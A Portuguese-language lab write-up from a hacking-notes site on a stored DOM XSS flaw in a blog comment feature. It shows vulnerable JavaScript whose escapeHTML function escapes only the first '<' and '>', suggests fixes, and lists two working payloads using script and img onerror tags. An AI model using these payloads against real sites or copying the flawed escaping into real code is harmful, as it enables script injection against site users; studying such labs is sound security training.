> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/stored-dom-xss.md).

# XSS DOM Armazenado

### XSS DOM armazenado

Este laboratório demonstra uma vulnerabilidade DOM armazenada no recurso de comentários do blog. Para resolver o laboratório, use essa vulnerabilidade para executar o `alert()` função.

se você inserir o clássico `script` na área de comentários:

```javascript
<script>alert(0)</script>
```

Observamos que o site exclui parte do comentário.

<figure><img src="/files/2cc7d5ef5d1e02f7df6cc0ac58f5e2400a561b52" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f20812fa47a59432846afbc86bc83cf2dbea6fe9" alt=""><figcaption></figcaption></figure>

A função é:

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* O `escapeHTML(HTML)` a função não faz escape **que a primeira** ocorrência de `<` e `>` (uso de `substituir` simples).
* Como o código então usa `innerHTML` para inserir valores, tags maliciosas podem permanecer e ser interpretadas pelo navegador.
* A filtragem é, portanto, eficaz apenas para a primeira ocorrência; as ocorrências seguintes permanecem vulneráveis.

<figure><img src="/files/d207e7ada0ef772d00d3a85c268edede0934fd98" alt=""><figcaption></figcaption></figure>

* Use uma substituição global (`replaceAll` ou uma expressão regular global) para escapar **todas as** ocorrências de `<` e `>`.
* Evite usar `innerHTML` para dados não confiáveis; prefira `textContent`  ou `createTextNode`

<figure><img src="/files/41f479cab588fe264b629807ab4d980e4b482cbf" alt=""><figcaption></figcaption></figure>

Payloads exploráveis

* Feche e injete um script:

```javascript
<><script>alert(0)</script>
```

* Force um erro de imagem para acionar `onerror:`

```javascript
<><img src=0 onerror=alert(0)>
```

Esses payloads funcionam porque apenas alguns caracteres são transformados e ocorrências adicionais de `<`/`>` permanecem interpretáveis.

<figure><img src="/files/abea049275214322b1c51b4a6f6920266ac24e3f" alt=""><figcaption></figcaption></figure>


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